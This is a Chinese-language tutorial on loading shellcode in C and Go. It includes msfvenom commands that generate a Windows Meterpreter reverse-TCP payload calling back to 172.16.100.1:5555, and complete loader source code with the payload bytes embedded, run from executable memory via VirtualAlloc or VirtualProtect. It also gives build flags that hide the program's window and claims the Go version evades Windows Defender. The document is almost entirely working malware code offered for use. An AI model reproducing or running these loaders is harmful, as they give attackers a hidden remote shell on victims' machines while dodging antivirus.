用C和Go语言加载shellcode

用C加载

//kali or parrot os
msfvenom -p windows/meterpreter/reverse_tcp lhost=172.16.100.1 lport=5555 -f c

shellcode.c如下

#include <Windows.h>
#include <stdio.h>
#include <string.h>

#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") //windows控制台程序不出黑窗口

//此处为shellcode
unsigned char buf[] = 
"\x48\x31\xc9\x48\x81\xe9\xc0\xff\xff\xff\x48\x8d\x05\xef\xff"
"\xff\xff\x48\xbb\x6e\x76\x92\x1a\xaa\xac\x66\xd2\x48\x31\x58"
"\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\x92\x3e\x11\xfe\x5a\x44"
"\xaa\xd2\x6e\x76\xd3\x4b\xeb\xfc\x34\x9a\x5f\xa4\xf7\x52\x21"
"\xfe\x06\x9a\xe5\x24\x8a\x4b\xfc\xe4\xed\x80\x4e\x3e\x19\x68"
"\xfa\xe1\x57\x1b\x26\x79\x25\x50\xe0\xe4\x57\x12\xc2\x4a\xf3"
"\x66\xa8\x80\x46\x93\xaf\xbf\x9f\x5b\xab\x6d\x84\x3f\x3c\x37"
"\xc3\x52\x21\xfe\x46\x59\x2c\x4a\xda\x1b\x7a\xca\xe7\xaa\x76"
"\x7d\x90\x15\x2f\xde\x66\xd2\x6e\xfd\x12\x92\xaa\xac\x66\x9a"
"\xeb\xb6\xe6\x7d\xe2\xad\xb6\x59\x26\x6e\xc2\x5e\x21\xec\x46"
"\x9b\x6f\xa6\x71\x4c\xe7\x9d\xaf\x9a\x91\xbf\xd3\x91\x9e\x24"
"\x2e\xd3\xb8\x3e\xa3\xda\x06\xed\xa7\x1b\x63\x37\x93\xdb\x92"
"\x4c\x13\x23\x22\x75\xde\x3e\xa2\xe9\x5f\x03\x1b\xae\xca\x5e"
"\x21\xec\x42\x9b\x6f\xa6\xf4\x5b\x21\xa0\x2e\x96\xe5\x36\x8e"
"\x53\xab\x7c\x27\x59\x6a\xfe\xd3\x42\xe2\xad\xb6\x93\x36\x28"
"\xcb\x40\xeb\xf4\x27\x8b\x2f\x2c\xda\x99\x46\x8c\x27\x80\x91"
"\x96\xca\x5b\xf3\xf6\x2e\x59\x7c\x9f\xd9\xe5\x55\x53\x3b\x9b"
"\xd0\x01\xe1\x28\xf5\x9f\x54\xd2\x6e\x37\xc4\x53\x23\x4a\x2e"
"\x53\x82\xd6\x93\x1a\xaa\xe5\xef\x37\x27\xca\x90\x1a\xbf\x1f"
"\xca\xc2\x0a\x77\xd3\x4e\xe3\x25\x82\x9e\xe7\x87\xd3\xa0\xe6"
"\xdb\x40\xd5\x91\xa3\xde\x93\x40\xc4\x67\xd3\x6e\x76\xcb\x5b"
"\x10\x85\xe6\xb9\x6e\x89\x47\x70\xa0\xed\x38\x82\x3e\x3b\xa3"
"\xd3\xe7\x9d\xa6\x9a\x91\xb6\xda\x93\x68\xe4\x99\x12\x26\xff"
"\x53\x5b\x10\x46\x69\x0d\x8e\x89\x47\x52\x23\x6b\x0c\xc2\x2f"
"\x2e\xde\x93\x48\xe4\xef\x2b\x2f\xcc\x0b\xbf\xde\xcd\x99\x07"
"\xeb\xb6\xe6\x10\xe3\x53\xa8\xa7\x8b\x9e\x01\x1a\xaa\xac\x2e"
"\x51\x82\x66\xda\x93\x48\xe1\x57\x1b\x04\x72\xd3\x42\xe2\x25"
"\x9f\x93\xd4\x74\x4b\xd2\xf5\x53\xb3\x51\x96\x76\xec\x4f\xe2"
"\x2f\xa2\xf2\x30\xff\x64\x70\xea\xed\x3f\xba\x6e\x66\x92\x1a"
"\xeb\xf4\x2e\x5b\x9c\x3e\xa3\xd3\xeb\x16\x3e\x76\x3d\x93\x6d"
"\xcf\xe2\x25\xa5\x9b\xe7\xb1\xdf\x2b\x63\xe5\xef\x22\x26\xff"
"\x48\x52\x23\x55\x27\x68\x6c\xaf\x5a\x45\x55\x79\xe5\x2a\x6e"
"\x0b\xba\x42\xeb\xfb\x3f\xba\x6e\x36\x92\x1a\xeb\xf4\x0c\xd2"
"\x34\x37\x28\x11\x85\xa3\x56\x2d\xbb\x21\xcb\x5b\x10\xd9\x08"
"\x9f\x0f\x89\x47\x53\x55\x62\x8f\xee\x91\x89\x6d\x52\xab\x6f"
"\x2e\xfb\xa8\x3e\x17\xec\xdf\x18\x27\x2d\x89\x2e\xf8\x1a\xf3"
"\xe5\xa1\x10\x9e\xc3\x30\x4c\x55\x79\x66\xd2";


main()

{
    char *Memory; 

    Memory=VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    memcpy(Memory, buf, sizeof(buf));

    ((void(*)())Memory)();

}
//不可逃过windows defender检测

//windows下编译
gcc -o shellcode_c.exe shellcode.c

用Go加载

//kali or parrot os
msfvenom -p windows/meterpreter/reverse_tcp lhost=172.16.100.1 lport=5555 -f hex

shellcode.go如下

package main

import (
	"encoding/hex"
	"syscall"
	"unsafe"
)

var procVirtualProtect = syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualProtect")

func VirtualProtect(lpAddress unsafe.Pointer, dwSize uintptr, flNewProtect uint32, lpflOldProtect unsafe.Pointer) bool {
	ret, _, _ := procVirtualProtect.Call(
		uintptr(lpAddress),
		uintptr(dwSize),
		uintptr(flNewProtect),
		uintptr(lpflOldProtect))
	return ret > 0
}

func Run(sc []byte) {
	f := func() {}
	var oldfperms uint32
	if !VirtualProtect(unsafe.Pointer(*(**uintptr)(unsafe.Pointer(&f))), unsafe.Sizeof(uintptr(0)), uint32(0x40), unsafe.Pointer(&oldfperms)) {
		panic("Call to VirtualProtect failed!")
	}
	**(**uintptr)(unsafe.Pointer(&f)) = *(*uintptr)(unsafe.Pointer(&sc))

	var oldshellcodeperms uint32
	if !VirtualProtect(unsafe.Pointer(*(*uintptr)(unsafe.Pointer(&sc))), uintptr(len(sc)), uint32(0x40), unsafe.Pointer(&oldshellcodeperms)) {
		panic("Call to VirtualProtect failed!")
	}
	f()
}
//sc, _ := hex.DecodeString("...")此处为shellcode
func main() {
	sc, _ := hex.DecodeString("4831c94881e9c0ffffff488d05efffffff48bb257aa12b451f0b6048315827482df8ffffffe2f4d93222cfb5f7c760257ae07a044f592814a8c463ce4d6b28ae28b97a0d9459407332ae9c0f5543eb572aec1a8c573aa08946c05747332b21e4b3ac6a44dee98d773bf063ce4d2beb6746e92a95798a183d71a324c06d0b6025f121a3451f0b28a0bad54c0d1edb24ae3a817b0c1edbeb6d62427d0de0c221ae4e296344c94651ec3290ebe95ecaa9283ba0ea7dff7e916979ed0f4d5a32b150a2f96fce5f2f2924aac76ace134324ae3abd6244cf4aeb21f2e92a955e53217d24f87104474a396420e9a8a93f4a32da9af96a1c4543eb3793ead4bae056299b0dd2191a2c3960253bf762ccf943e1c9daa02b455682856cc6a32b50aca770417be07f0c96ef2cac8be09109682d67daafeda2af770a61257af86aff368b0b258574414f5e5530753790e2082ecb28dabae9a28757f4a06df3606afff504bfc5857463ccd861706422eda2a757829964c0388e317ef4b5a0bad5210ce0c515c092322b451f43e3c96ae9a2a7523aa94f7ee0730d96f2219f7878e31ae0dee3dd7adf7e0d9ccf407bf35741055e5208256aa12b044743e9d73290e204a553c4769f5efe0d96c829acbdec1a8c5682906df37b63cce64ada27a36974baca88982507897304485208253aa12b044761607f3b1b206a103b9ff02df86aff6a652d44857462bad1e25cda855e6344dc4349e33224dd30ab4a9fc222cb2b1c56cca2d5cf037dbaca0b60")
	Run(sc)
}

//可逃过windows defender检测

//windows下编译
//隐藏窗口
go build -ldflags="-H windowsgui -w -s" shellcode.go